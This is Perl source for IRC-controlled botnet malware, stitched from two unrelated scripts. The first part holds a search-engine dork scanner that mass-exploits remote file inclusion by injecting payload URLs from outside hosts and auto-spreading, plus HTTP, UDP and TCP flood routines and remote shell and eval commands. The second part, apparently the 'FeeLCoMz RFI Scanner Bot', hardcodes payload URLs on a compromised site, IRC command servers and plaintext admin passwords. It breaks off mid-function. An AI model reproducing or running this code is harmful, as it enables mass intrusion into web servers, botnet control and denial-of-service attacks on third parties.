              #                                                                                                                      #
              ########################################################################################################################
              ######################
              #    GOOGLESCANNER   #
              #                    #
              ######################
              if ($funcarg =~ /^googlescan\s+(.*?)\s+(.*)/){
              if (my $pid = fork) {
                    waitpid($pid, 0);
                    } else {
                      if (fork) {
                        exit;
                        } else {
                          my $bug=$1;
                          my $dork=$2;
                          my $contatore=0;
                          my ($type,$space);
                          my %hosts;
                              ### Start Message
                              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Starting 12G4o8o12g9l4e12Scan for 4$bug 12$dork");
                              ### End of Start Message       
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:12G4o8o12g9l4e12:.4|412 Started4");
                              my @glist=&google($dork);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Results for $dork");
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 12G4o8o12g9l4e4 ".scalar(@glist)." 12Sites");
                              push(my @tot, @glist);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Filtering Cleaned results of 4 ".scalar(@tot)." 12Sites");
                              my @puliti=&unici(@tot);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Cleaned Results ".scalar(@puliti)." 12Sites");   
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting Started");
                              my $uni=scalar(@puliti);
                              foreach my $sito (@puliti)
                              {
                              $contatore++;
                              if ($contatore %30==0){
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting4 ".$contatore." 12of4 ".$uni. " 12Sites");
                              }
                              if ($contatore==$uni-1){
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4| Finished for $bug $dork");
                          }
                              ### Print CMD and TEST CMD d0nt change the TEST cmd !........###
                              my $test="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                              my $print="http://".$sito.$bug."http://www.thiaguinho.net/Scanr0x/r57.txt"."?";
                              ### End of Print CMD and TEST CMD d0nt change the TEST cmd !.###
                          my $req=HTTP::Request->new(GET=>$test);
                          my $ua=LWP::UserAgent->new();
                              $ua->timeout(5);
                              my $response=$ua->request($req);
                              if ($response->is_success) {
                                my $re=$response->content;
                                if($re =~ /31337/ && $re =~ /uid=/){
                                my $hs=geths($print); $hosts{$hs}++;
                                if($hosts{$hs}=="1"){
                                $x=os($test);
                                ($type,$space)=split(/\,/,$x);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 4OFF12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print ");
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
                                my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                                my $reqz=HTTP::Request->new(GET=>$test2);
                                my $ua=LWP::UserAgent->new();
                                my $response=$ua->request($reqz);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
                                }}
                                elsif($re =~ /31337/)
                                {
                                my $hs=geths($print); $hosts{$hs}++;
                                if($hosts{$hs}=="1"){
                                $x=os($test);
                                ($type,$space)=split(/\,/,$x);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 3ON12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print  ");
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
                                my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                                my $reqz=HTTP::Request->new(GET=>$test2);
                                my $ua=LWP::UserAgent->new();
                                my $response=$ua->request($reqz);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
                        }}
                        }}}
                        exit;
                        }}   
                        ######################
                        #End of GOOGLESCANNER#
                        #                    #
                        ######################
                        ########################################################################################################################
                        # ______   __              ___    _   __    ___          __   __                                                       #
                        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
                        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
                        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
                        #                                                                                                                      #
                        ########################################################################################################################
                        ######################
                        #     HTTPFlood      #
                        #                    #
                        ######################
                        if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
                          my $itime = time;
                          my ($cur_time);
                          $cur_time = time - $itime;
                          while ($2>$cur_time){
                          $cur_time = time - $itime;
                          my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
                          print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
                          close($socket);
                        }
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking done 4 ".$1.".");
                      }
                      ######################
                      #  End of HTTPFlood  #
                      #                    #
                      ######################
                      ########################################################################################################################
                      # ______   __              ___    _   __    ___          __   __                                                       #
                      #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
                      # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
                      #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
                      #                                                                                                                      #
                      ########################################################################################################################
                      ######################
                      #     UDPFlood       #
                      #                    #
                      ######################
                      if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
                        my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
                        $dtime = 1 if $dtime == 0;
                        my %bytes;
                        $bytes{igmp} = $2 * $pacotes{igmp};
                        $bytes{icmp} = $2 * $pacotes{icmp};
                        $bytes{o} = $2 * $pacotes{o};
                        $bytes{udp} = $2 * $pacotes{udp};
                        $bytes{tcp} = $2 * $pacotes{tcp};
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
                      }
                      exit;
                    }
                  }
                  ######################
                  #  End of Udpflood   #
                  #                    #
                  ######################


                  sub ircase {
                    my ($kem, $printl, $case) = @_;
                    if ($case =~ /^join (.*)/) {
                      j("$1");
                    }
                    if ($case =~ /^part (.*)/) {
                      p("$1");
                    }
                    if ($case =~ /^rejoin\s+(.*)/) {
                      my $chan = $1;
                      if ($chan =~ /^(\d+) (.*)/) {
                        for (my $ca = 1; $ca <= $1; $ca++ ) {
                          p("$2");
                          j("$2");
                        }
                      }
                      else {
                        p("$chan");
                        j("$chan");
                      }
                    }

                    if ($case =~ /^op/) {
                      op("$printl", "$kem") if $case eq "op";
                      my $oarg = substr($case, 3);
                      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
                    }

                    if ($case =~ /^deop/) {
                      deop("$printl", "$kem") if $case eq "deop";
                      my $oarg = substr($case, 5);
                      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
                    }

                    if ($case =~ /^msg\s+(\S+) (.*)/) {
                      msg("$1", "$2");
                    }

                    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
                      for (my $cf = 1; $cf <= $1; $cf++) {
                        msg("$2", "$3");
                      }
                    }

                    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
                      ctcp("$1", "$2");
                    }

                    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
                      for (my $cf = 1; $cf <= $1; $cf++) {
                        ctcp("$2", "$3");
                      }
                    }

                    if ($case =~ /^nick (.*)/) {
                      nick("$1");
                    }

                    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
                      conectar("$2", "$1", 6667);
                    }

                    if ($case =~ /^raw (.*)/) {
                      sendraw("$1");
                    }

                    if ($case =~ /^eval (.*)/) {
                      eval "$1";
                    }
                  }


                  sub shell {
                    my $printl=$_[0];
                    my $comando=$_[1];
                    if ($comando =~ /cd (.*)/) {
                      chdir("$1") || msg("$printl", "No such file or directory");
                      return;
                    }

                    elsif ($pid = fork) {
                      waitpid($pid, 0);
                    }
                    else {
                      if (fork) {
                        exit;

                        } else {
                        my @resp=`$comando 2>&1 3>&1`;
                        my $c=0;
                        foreach my $linha (@resp) {
                          $c++;
                          chop $linha;
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
                          if ($c == "$linas_max") {
                            $c=0;
                            sleep $sleep;
                          }
                        }
                        exit;
                      }
                    }
                  }

                  sub tcpflooder {
                    my $itime = time;
                    my ($cur_time);
                    my ($ia,$pa,$proto,$j,$l,$t);
                    $ia=inet_aton($_[0]);
                    $pa=sockaddr_in($_[1],$ia);
                    $ftime=$_[2];
                    $proto=getprotobyname('tcp');
                    $j=0;$l=0;
                    $cur_time = time - $itime;
                    while ($l<1000){
                    $cur_time = time - $itime;
                    last if $cur_time >= $ftime;
                    $t="SOCK$l";
                    socket($t,PF_INET,SOCK_STREAM,$proto);
                    connect($t,$pa)||$j--;
                    $j++;$l++;
                  }
                  $l=0;
                  while ($l<1000){
                  $cur_time = time - $itime;
                  last if $cur_time >= $ftime;
                  $t="SOCK$l";
                  shutdown($t,2);
                  $l++;
                }
              }



              sub udpflooder {
                my $iaddr = inet_aton($_[0]);
                my $msg = 'A' x $_[1];
                my $ftime = $_[2];
                my $cp = 0;
                my (%pacotes);
                $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
                socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
                socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
                socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
                socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
                return(undef) if $cp == 4;
                my $itime = time;
                my ($cur_time);
                while ( 1 ) {
                  for (my $porta = 1;
                  $porta <= 65000; $porta++) {
                    $cur_time = time - $itime;
                    last if $cur_time >= $ftime;
                    send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
                    send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
                    send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
                    send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;


                    for (my $pc = 3;
                    $pc <= 255;$pc++) {
                      next if $pc == 6;
                      $cur_time = time - $itime;
                      last if $cur_time >= $ftime;
                      socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
                      send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
                    }
                  }
                  last if $cur_time >= $ftime;
                }
                return($cur_time, %pacotes);
              }

              sub ctcp {
                return unless $#_ == 1;
                sendraw("PRIVMSG $_[0] :\001$_[1]\001");
              }

              sub msg {
                return unless $#_ == 1;
                sendraw("PRIVMSG $_[0] :$_[1]");
              }

              sub notice {
                return unless $#_ == 1;
                sendraw("NOTICE $_[0] :$_[1]");
              }

              sub op {
                return unless $#_ == 1;
                sendraw("MODE $_[0] +o $_[1]");
              }

              sub deop {
                return unless $#_ == 1;
                sendraw("MODE $_[0] -o $_[1]");
              }

              sub j {
                &join(@_);
              }

              sub join {
                return unless $#_ == 0;
                sendraw("JOIN $_[0]");

              }
              sub p { part(@_);
              }

              sub part {
                sendraw("PART $_[0]");
              }

              sub nick {
                return unless $#_ == 0;
                sendraw("NICK $_[0]");
              }

              sub quit {
                sendraw("QUIT :$_[0]");
              }

              sub fetch(){
              my $rnd=(int(rand(9999)));
              my $n= 80;
              if ($rnd<5000) { $n<<=1;}
                my $s= (int(rand(10)) * $n);
                {
                  my @dominios = ("removed-them-all");
                  my @str;
                  foreach $dom  (@dominios)
                  {
                    push (@str,"@gstring");
                  }
                  my $query="www.google.com/search?q=";
                  $query.=$str[(rand(scalar(@str)))];
                  $query.="&num=$n&start=$s";
                  my @lst=();
                  sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
                  my $page = http_query($query);
                  while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
                  if ($1 !~ m/google|cache|translate/){
                  push (@lst,$1);
                }
              }
              return (@lst);
            }

            sub os(){
            my $sito=$_[0];
            my $Res=query($sito);
            my $type;
            my $free;
            my $str;
            while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
            $type=$1;
          }
          while($Res=~m/<br>Free:(.+?)\<br>/g){
          $free=$1;
        }
        $str=$type.",".$free;
        return $str;
      }

      sub aol(){
      my @lst;
      my $key = $_[0];
      for($b=1;$b<=100;$b++){
      my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
      my $Res=query($AoL);
      while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
      my $k=$1;
      my @grep=links($k);
      push(@lst,@grep);
      }}
      return @lst;
    }

    sub google(){
    my @lst;
    my $key = $_[0];
    for($b=0;$b<=100;$b+=100){
    my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
    my $Res=query($Go);
    while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
    if ($1 !~ /google/){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}}
    return @lst;
  }

  sub altavista(){
  my @lst;
  my $key = $_[0];
  for($b=1;$b<=1000;$b+=10){
  my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  my $Res=query($AlT);
  while($Res=~m/<span class=ngrn>(.+?)\//g){
  if($1 !~ /altavista/){
  my $k=$1;
  $k=~s/<//g;
  $k=~s/ //g;
  my @grep=links($k);
  push(@lst,@grep);
  }}}
  return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
  my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  my $Res=query($Ask);
  while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  my $k=$3;
  $k=~s/[\"\ ]//g;
  my @grep=links($k);
  push(@lst,@grep);
  }}
  return @lst;
}

sub alltheweb()
{
  my @lst;
  my $key=$_[0];
  my $i=0;
  my $pg=0;
  for($i=0; $i<=1000; $i+=100)
  {
    my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
    my $Res=query($all);
    while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/ //g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
  }

  sub links()
  {
    my @l;
    my $link=$_[0];
    my $host=$_[0];
    my $hdir=$_[0];
    $hdir=~s/(.*)\/[^\/]*$/\1/;
    $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host.="/";
    $link.="/";
    $hdir.="/";
    $host=~s/\/\//\//g;
    $hdir=~s/\/\//\//g;
    $link=~s/\/\//\//g;
    push(@l,$link,$host,$hdir);
    return @l;
  }

  sub geths(){
  my $host=$_[0];
  $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}  
return @unici;
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
  alarm 10;
  my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  my @r = <$sock>;
  $page="@r";
  alarm 0;
  close($sock);
  };
  return $page;
}
}

########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
############################################################################

머가바뀐거지히스토리도없구
밀웜옮긴지가언젠데아직도?정말최신버전이맞는건지?

#!/usr/bin/perl

print('
###############################################
## FeeLCoMz RFI Scanner Bot v5.3             ##
## By FaTaLisTiCz_Fx & jooMa                 ##
## ? Feb 2009 - Feb 2010, FeeLCoMz Community ##
## http://feelcomz.co.cc ( in working... )   ##
###############################################
');
######################################################
## Usage:                                           ##
##   perl feelscanz.pl <chan w/o #> <server> <port> ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
## + Auto Spreading                                 ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thanks to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thanks to D|ablo)
## + Added spread configuration (v5.0)

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v5.0";
my $cmdpre  = "."; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id.txt?"; #Fx29ID (Simple) / (Advanced)
my $fx29id2 = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id2.txt?"; #Fx29ID (Advanced)
my $fx29sh  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/404.txt?"; #Fx29Sh (Optional)
my $bypass  = "http://cornerbiz.bravehost.com/bypas.php?"; #Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/"; #Path to Sources URL (Optional)
my $spread  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/spread.txt?"; #Fx29Spreadz (Optional)
my $joomlaz = ""; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.reserstyle.net","power.reserstyle.net"); #IRC Servers (Separated by coma)
my %bot     = (
 nick    => "DiAblo[".int(rand(100))."]",
 ident   => "Diablo".int(rand(100)),
 chan    => ["#diablocrew#"], #Channels to join (Separated by coma)
 server  => $servers[rand(scalar(@servers))],
 port    => "6667","6668","6669"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
 Diablo => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
 Diablo2 => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
);

##[ KONFIGURASI SPY ]##
my %­spy = (
 host   => "", #Channels to show spied text
 chanz  => [""], #Channels to spy (Separated by coma)
 wordz  => ['http://.+?[=]'], #Text to spy (Regex, Separated by coma)
 foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
 showsite => 1, #Show link to debug channel (Yes/No)
 linez    => 3, #Lines per message
 sleepz   => 3, #Message delay per linez (seconds)
 rfipid   => 50, #Sites per proccess
 rficnt   => 100, #Counter setting
 rficnt2  => 200, #Counter setting
 timeout  => 4, #Http socket time out
);

##[ KONFIGURASI SPREAD ]##
## Options: 0 = Disable, 1 = Enable
my %­spreadconf = (
 shellz   => 0, #Upload PHP Shell (Yes/No)
 botz     => 1, #Run PHP Bot (Yes/No)
 scannerz => 0, #Run RFI Scanner (Yes/No)
 psybnc   => 0, #Run psyBNC (Yes/No)
);

##[ KONFIGURASI WARNA ]##
my %colz = (
 1 => "8,1[4,1!8,1]11 " , 2 => " 8,1[4,1!8,1]", #Header
 3 => "8,1[4,1#8,1]9,1 " , 4 => " 8,1[4,1#8,1]9", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx    = "#diablocrew#"; #2nd Channel to show the results of vurnerable site
my $dbgchan  = "#diablocrew2#"; #For debugging purposes (Optional)
my @chans    = ($bot{chan});
my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com"); #Bad links to exclude
my $keluar   = 0;
my $sock;

##[ KONFIGURASI LOCALTESTING ]##
my $tez = $ARGV[3];
if ($tez == 1) {
 my $situs = "http://localhost/fx29sh/";
 $fx29id   = $situs."fx29id1.txt?";
 $fx29id2  = $situs."fx29id2.txt?";
 $fx29sh   = $situs."fx29sh.txt?";
}

##[ PROGRAM UTAMA ]##
if (fork() == 0) {
 while ($keluar != 1) { irc_connect(); }
 die("KeLuaR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
 $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                               PeerPort => $bot{port},
                               Proto    => 'tcp')
                           or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
 $sock->autoflush(1);

 irc_nick($bot{nick});
 irc_user($bot{ident});

 my ($baris,$hb);
 my $loginboss = 0;
 my $userstat  = "";

 while ( $baris = <$sock> ) {
   $hb++;

   ##[ PARSING ]##
   my $com;
   my $me = $bot{nick};
   my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
   my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
   my ($dnick,$dhost) = split(/!/,$duhost);
   $dcom    = "" unless ($dcom);
   $dtarget = "" unless ($dtarget);
   $dnick =~ s/://;
   $dteks = trimrn($dteks);
   if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }

   print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";

   ##[ CEK USER ]##
   if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
   else { ($loginboss,$userstat) = (0,""); }

   ##[ RESPON KE SERVER ]##
   if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
   if    ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c (@chans) { irc_join($c); } }
   elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }

   ##[ PERINTAH PUBLIK ]##
   if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
   if    ($com =~ /^help$/) { bot_help($dtarget,1); }
   elsif ($com =~ /^info$/) { bot_info($dtarget); }
   elsif ($com =~ /^url(en|de)\s+(.*)/) {
     my $url = $2; my $en;
     if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
     elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
     msgi($dtarget,"URL $en", $url);
   }
   elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
   elsif ($com =~ /^respon/) { cek_respon($dtarget); }
   elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
   elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
     my $pass = $1; my $auth = $boss{$dnick}{"login"};
     if ( $pass && $auth == 0 ) {
       if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
       if ($pass eq $boss{$dnick}{"pass"}) {
         $boss{$dnick}{"login"} = 1;
         irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
       }
       else { irc_ntc($dnick,"Error!"); }
     }
     else {
       if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
       else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
   }
   if (($dtarget) && ($dtarget ne $dnick)) {
     if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
     elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
   }
   ##[ END OF PUBLIC ]##

   ##[ PERINTAH USER ]##
   if ($loginboss == 1) {
     if    ($com =~ /^help/) { bot_help($dtarget,2); }
     elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
     elsif ($com =~ /^part\s+(.*)/) {
       my $pchan = $1; irc_part($1);
       for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
     }
     elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
     elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
     elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
     elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
     elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
     elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
     elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
     elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
       my ($t,$nf,$q) = ($1,$2,$3);
       my $h;
       if ($t == 1) { $h = bukasitus($q); }
       elsif ($t == 2) { $h = bukasitus2($q); }
       else { $h = bukasitus3($q); }
       f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
     }
     elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
       my $n = $1;
       my $q = bukasitus($2);
       my $regex = $3;
       if ($n ==1) {
         if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
         while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
       }
       else {
         while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
       }
     }
   }
   ##[ END OF USER ]##

   ##[ PERINTAH ADMIN ]##
   if (($loginboss == 1) && ($userstat eq "admin")) {
     if    ($com =~ /^help/) { bot_help($dtarget,3); }
     elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
     ##[ PERINTAH SPY ]##
     elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
     elsif ($com =~ /^spy(found|show|clear)$/ ) {
       my $n = $1;
       if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
       elsif ($n eq "show") {
         my $i = 0;
         for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
       }
       elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
       else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
     }
     elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
